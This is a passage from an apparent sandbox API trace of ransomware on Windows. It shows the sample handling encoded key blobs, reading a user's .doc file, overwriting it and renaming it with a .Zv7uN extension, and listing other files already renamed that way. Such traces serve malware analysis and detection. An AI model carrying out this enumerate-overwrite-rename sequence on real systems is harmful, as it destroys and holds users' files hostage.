halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\xitxehzcofybo38.doc")) returned 0x20 [0088.982] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc", dwFileAttributes=0x80) returned 1 [0088.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.987] GetCurrentThreadId () returned 0xa30 [0088.987] GetCurrentThreadId () returned 0xa30 [0088.987] GetCurrentThreadId () returned 0xa30 [0088.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.988] GetCurrentThreadId () returned 0xa30 [0088.988] GetCurrentThreadId () returned 0xa30 [0088.988] GetCurrentThreadId () returned 0xa30 [0088.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\xitxehzcofybo38.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.988] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.988] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.988] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x121d0 [0088.989] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.989] ReadFile (in: hFile=0x128, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x121d0, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x121d0, lpOverlapped=0x0) returned 1 [0088.991] CloseHandle (hObject=0x128) returned 1 [0088.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\xitxehzcofybo38.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.996] WriteFile (in: hFile=0x128, lpBuffer=0x1f3b460*, nNumberOfBytesToWrite=0x121d0, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3b460*, lpNumberOfBytesWritten=0x18f114*=0x121d0, lpOverlapped=0x0) returned 1 [0089.001] CloseHandle (hObject=0x128) returned 1 [0089.001] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\xitxehzcofybo38.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\xitxehzcofybo38.doc.zv7un")) returned 1 [0089.002] GetCurrentThreadId () returned 0xa30 [0089.002] GetCurrentThreadId () returned 0xa30 [0089.002] GetCurrentThreadId () returned 0xa30 [0089.002] GetCurrentThreadId () returned 0xa30 [0089.002] GetCurrentThreadId () returned 0xa30 [0089.002] GetCurrentThreadId () returned 0xa30 [0089.002] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b45640, ftCreationTime.dwHighDateTime=0x1d5dd29, ftLastAccessTime.dwLowDateTime=0x83f3c810, ftLastAccessTime.dwHighDateTime=0x1d5dc6f, ftLastWriteTime.dwLowDateTime=0x83f3c810, ftLastWriteTime.dwHighDateTime=0x1d5dc6f, nFileSizeHigh=0x0, nFileSizeLow=0x121d0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XItXehzcofYBo38.doc", cAlternateFileName="XITXEH~1.DOC")) returned 0 [0089.002] GetLastError () returned 0x12 [0089.002] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0089.002] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47b357e0, ftCreationTime.dwHighDateTime=0x1d5df93, ftLastAccessTime.dwLowDateTime=0x52eee480, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52eee480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0089.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0089.003] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0089.003] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47b357e0, ftCreationTime.dwHighDateTime=0x1d5df93, ftLastAccessTime.dwLowDateTime=0x52eee480, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52eee480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0089.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0089.003] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0089.003] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x759ff320, ftCreationTime.dwHighDateTime=0x1d5e277, ftLastAccessTime.dwLowDateTime=0x2a6aeb10, ftLastAccessTime.dwHighDateTime=0x1d5e1e8, ftLastWriteTime.dwLowDateTime=0x52e2fda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1677d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7nadXsUY.pptx.Zv7uN", cAlternateFileName="7NADXS~1.ZV7")) returned 1 [0089.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0089.003] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0089.003] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11b7e170, ftCreationTime.dwHighDateTime=0x1d5db14, ftLastAccessTime.dwLowDateTime=0xcf679dc0, ftLastAccessTime.dwHighDateTime=0x1d5d7e3, ftLastWriteTime.dwLowDateTime=0x52ea21c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd3b9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="noOt.pptx.Zv7uN", cAlternateFileName="NOOTPP~1.ZV7")) returned 1 [0089.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0089.003] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0089.003] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bfce50, ftCreationTime.dwHighDateTime=0x1d5d934, ftLastAccessTime.dwLowDateTime=0x4fbd7920, ftLastAccessTime.dwHighDateTime=0x1d5deb2, ftLastWriteTime.dwLowDateTime=0x52ec8320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x36c5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Vn_LVk.rtf.Zv7uN", cAlternateFileName="VN_LVK~1.ZV7")) returned 1 [0089.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0089.004] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0089.004] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b45640, ftCreationTime.dwHighDateTime=0x1d5dd29, ftLastAccessTime.dwLowDateTime=0x83f3c810, ftLastAccessTime.dwHighDateTime=0x1d5dc6f, ftLastWriteTime.dwLowDateTime=0x52eee480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, 